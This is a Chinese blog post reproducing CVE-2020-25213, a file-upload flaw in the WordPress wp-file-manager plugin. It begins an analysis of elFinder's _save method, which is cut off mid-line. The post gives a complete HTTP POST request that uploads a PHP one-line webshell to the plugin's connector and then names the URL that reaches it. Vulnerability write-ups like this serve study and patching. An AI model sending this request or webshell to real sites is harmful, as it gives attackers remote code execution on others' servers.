WordPress wp-file-manager 文件上传漏洞 CVE-2020-25213

文章详细描述了WordPresswp-file-manager插件的一个安全漏洞,攻击者可以通过POST请求在本地服务器上传恶意文件并获取shell访问。文章分析了漏洞的复现步骤,涉及elFinder组件的几个关键类及其方法,以及如何利用这些信息进行攻击和防御。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1.漏洞复现

WordPress 6.2

插件:wp-file-manager 6.0,File Manager (advanced view) – WordPress plugin | WordPress.org (https://wordpress.org/plugins/wp-file-manager/advanced/)

复现

后台,安装、启动插件

前台,提交请求包:

POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1
Host: 127.0.0.1
User-Agent: curl/7.88.1
Accept: */*
Content-Length: 424
Content-Type: multipart/form-data; boundary=------------------------52d91370b674307b
 
--------------------------52d91370b674307b
Content-Disposition: form-data; name="cmd"
 
upload
--------------------------52d91370b674307b
Content-Disposition: form-data; name="target"
 
l1_
--------------------------52d91370b674307b
Content-Disposition: form-data; name="upload[]"; filename="shell.php"
Content-Type: application/octet-stream
 
<?php @eval($_POST[1]);?>
--------------------------52d91370b674307b--

访问一句话木马:http://127.0.0.1/wp-content/plugins/wp-file-manager/lib/files/shell.php

2.逆向分析

从敏感函数逆向分析

elFinderVolumeLocalFileSystem类

敏感函数 copy 位于 elFinderVolumeLocalFileSystem类 的 _save方法

/wp-content/plugins/wp-file-manager/lib/php/elFinderVolumeLocalFileSystem.class.php

protected function _save($fp, $dir, $name, $stat)
{
  $path = $this->_joinPath($dir, $name);
 
  $meta = stream_get_meta_data($fp);
  $uri = isset($meta['uri']) ? $meta['uri'] : '';
  if ($uri && !preg_match('#^[a-zA-Z0-9]+://#', $uri) &&am
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值